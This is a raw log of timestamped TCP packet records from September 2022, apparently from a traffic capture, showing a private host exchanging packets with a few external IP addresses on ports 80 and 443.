Sep 2, 2022 14:02:37.265858889 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.265866041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.265958071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.266011953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.266052961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.266062021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.267029047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.267074108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.267101049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.267126083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.269382000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.269418001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.269473076 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.531434059 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.531867981 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.563410044 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:37.563512087 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:37.632683039 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:37.632711887 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:37.632735968 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:37.632812023 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:37.632827044 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:37.632865906 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:37.632879972 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:37.632910967 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:37.632925034 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:37.632934093 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:37.632997036 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:37.633011103 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:37.634181976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.634601116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.636224031 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.636254072 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636270046 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636456966 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.636471033 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636487007 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636646032 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.636658907 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636677027 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636697054 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636763096 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.636774063 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636842012 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.636852980 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636905909 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.636914968 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636938095 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.636965990 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.636987925 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.637029886 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.637042046 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.637064934 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.637135029 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.637188911 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.637198925 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.637274981 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.799648046 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.799700022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.799729109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.799793005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.799839020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.799905062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.799947977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.799982071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.799995899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.800009012 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.800144911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.800247908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.800321102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.800350904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.800390005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.800630093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.800674915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.800704002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.800755978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.800765991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.800770044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.800817013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.800857067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.800869942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.800879955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.800937891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.801037073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.801084042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.801122904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.801156998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.801579952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.801659107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.801723957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.801763058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.801795959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.801896095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.801970005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.802050114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802098036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802124977 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.802150965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802164078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.802187920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802241087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802263975 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.802356958 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.802382946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802413940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802493095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.802547932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802587986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802615881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802648067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.802748919 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.802826881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.802891970 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.802985907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.803016901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.803066015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.803066969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.803199053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.803253889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.803327084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.803442955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.805861950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.805907011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.805938959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.805942059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.805964947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.805999994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806046009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806076050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806092978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806107044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806209087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806260109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806288958 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806298971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806308985 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806370020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806411028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806448936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806485891 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806508064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806557894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806572914 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806596994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806624889 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806658983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806704998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806720972 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806742907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806762934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806802034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806848049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806864977 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806885004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806910992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.806943893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.806988955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.807013035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.807024956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.807038069 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.843364954 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:37.843404055 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.843477964 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:37.843934059 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.965348959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.965409994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.965451002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.965490103 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.965507030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.965562105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.965591908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.965672970 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.965809107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.965898037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.965938091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.965948105 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.965981960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.966033936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.966078997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.966116905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.966141939 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.966185093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.966938972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.967032909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.967036963 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.967065096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.967098951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.967106104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.967144966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.967173100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.967206001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.968446016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.968488932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.968517065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.968547106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.968555927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.968597889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.968624115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.968646049 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.972608089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.972666979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.972709894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.972735882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.972768068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.972822905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.972860098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.972876072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.974036932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.974114895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.974153042 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.974158049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.974203110 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.974205017 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.974253893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.974287987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.974314928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.974509954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.974571943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.974607944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.974647999 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.975017071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.975083113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.975111961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.975119114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.975143909 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.975802898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.975864887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.975892067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.975895882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.975924015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.975934982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.975975037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.976001978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.976037025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.976680040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.976735115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.976752996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.976764917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.976790905 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.976805925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.976891994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.976921082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.977005959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.977629900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.977689981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.977706909 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.977727890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.977749109 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.977768898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.977809906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.977839947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.977870941 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.978940964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.978985071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979021072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.979026079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979034901 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.979075909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979125977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979154110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979177952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.979577065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979638100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.979696035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979724884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979772091 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.979825020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979873896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979902029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.979923964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.980329037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.980387926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.980426073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.980434895 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.980464935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.980504990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.980521917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.980534077 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.980551004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.981045961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981092930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981120110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981142044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.981251001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981292963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981311083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.981317997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981338024 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.981614113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981657028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981683016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981709957 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.981787920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981837988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981839895 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.981867075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.981884003 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.982203007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.982245922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.982268095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.982280970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.982290983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.982327938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.982415915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.982439041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.982445002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.982464075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.982939005 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.982995033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983022928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983025074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.983052015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.983258009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983302116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983328104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983330011 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.983401060 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.983618975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983660936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983694077 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983733892 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.983756065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983798981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983802080 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.983827114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.983844995 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.984127045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.984169960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.984200001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.984205008 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.984213114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.984391928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.984441996 CEST	49787	80	192.168.2.6	85.209.157.230
